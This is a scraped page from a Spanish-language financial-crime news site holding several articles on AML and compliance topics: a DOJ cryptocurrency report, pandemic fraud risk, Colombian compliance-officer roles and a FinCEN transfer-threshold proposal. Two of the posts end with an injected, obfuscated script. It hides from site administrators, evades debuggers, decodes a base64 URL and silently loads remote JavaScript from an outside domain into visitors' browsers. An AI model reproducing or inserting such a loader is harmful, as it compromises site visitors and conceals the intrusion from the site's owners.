dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales 